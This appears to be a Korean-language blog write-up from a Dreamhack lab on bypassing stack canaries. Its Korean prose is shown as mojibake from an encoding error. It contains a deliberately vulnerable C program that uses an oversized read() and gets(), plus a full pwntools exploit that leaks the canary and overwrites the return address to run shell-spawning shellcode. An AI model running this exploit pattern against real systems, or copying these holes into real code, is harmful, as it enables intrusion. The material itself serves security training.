Hacking/System Hacking
์นด๋๋ฆฌ ์ฐํ๊ธฐ๋ฒ
์ก์ด ๐ซง
2022. 4. 2. 18:05
checksec ./ํ์ผ์คํ๋ช
# ํด๋น ํ์ผ์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ๋ค์ ๋ณด์ฌ์ค๋ค. pwntools ์ค์นํ๋ฉด ์คํ ๊ฐ๋ฅ
์นด๋๋ฆฌ๊ฐ ์ ์ฉ๋์ด ์๋ ๊ฒ์ ํ์ธ
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf); //byte
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
์ผ๋จ ์์ ์์ค์ฝ๋ ๋ถ์๋ถํฐ ํด๋ณด์
- buf์ ์ฃผ์ ์ถ๋ ฅ
- buf์ rbp์ฌ์ด์ ๊ฑฐ๋ฆฌ ์ถ๋ ฅ (์ฆ buf+ canary๋งํผ์ byte ๊ฑฐ๋ฆฌ ์ถ๋ ฅ)
- ์ฒซ๋ฒ์งธ input : 0x50์ง๋ฆฌ buf๊ฐ ์๊ณ readํ ๋๋ 0x100์ ๋ฐ๊ฒ ํด๋จ์ผ๋ฏ๋ก ์คํ๋ฒํผ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ์ด ์๋ค.
- ๋๋ฒ์งธ input : gets๋ก ๋ฐ์ผ๋ฏ๋ก ๋ง์ฐฌ๊ฐ์ง๋ก ์ทจ์ฝ์
์ต์คํ๋ก์ ์ฝ๋
from pwn import *
# ํ๊ฒฝ ์ธํ
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16) # 16์ง์๋ก buf์ ์ ์ฅ
print("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0]) # buf์์ rbp๊น์ง์ ๊ฑฐ๋ฆฌ(0x60)
buf2cnry = buf2sfp - 8 # buf์์ canary๊น์ง์ ๊ฑฐ๋ฆฌ(0x58)
print("buf <=> sfp", hex(buf2sfp))
print("buf <=> canary", hex(buf2cnry))
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload) # buf์ ์นด๋๋ฆฌ ์ฌ์ด๋ฅผ ์์์ ๊ฐ์ผ๋ก ์ฑ์ฐ๋ฉด, ์นด๋๋ฆฌ ๊ฐ์ด ์ถ๋ ฅ(%s๋ null byte๋ฅผ ๋ฐ์๋๊น์ง ์ถ๋ ฅํ๋ฏ๋ก!)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7)) # ์นด๋๋ฆฌ ๊ฐ ๊ตฌํจ
print("Canary", hex(cnry))
# [3] Exploit
sh = asm(shellcraft.sh())
# 0x58๋งํผ ์
ธ์ฝ๋ + ์๋ฌด๋ฌธ์ / 0x8๋งํผ ์นด๋๋ฆฌ / 0x8๋งํผ ์๋ฌด๋ฌธ์(sfp) / ret๋ buf๋ก ๋ฎ์ด ์
ธ์ฝ๋ ์คํ
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
print(hex(buf))
p.sendlineafter("Input:", payload)
p.interactive()
[์ถ์ฒ]
dreamhack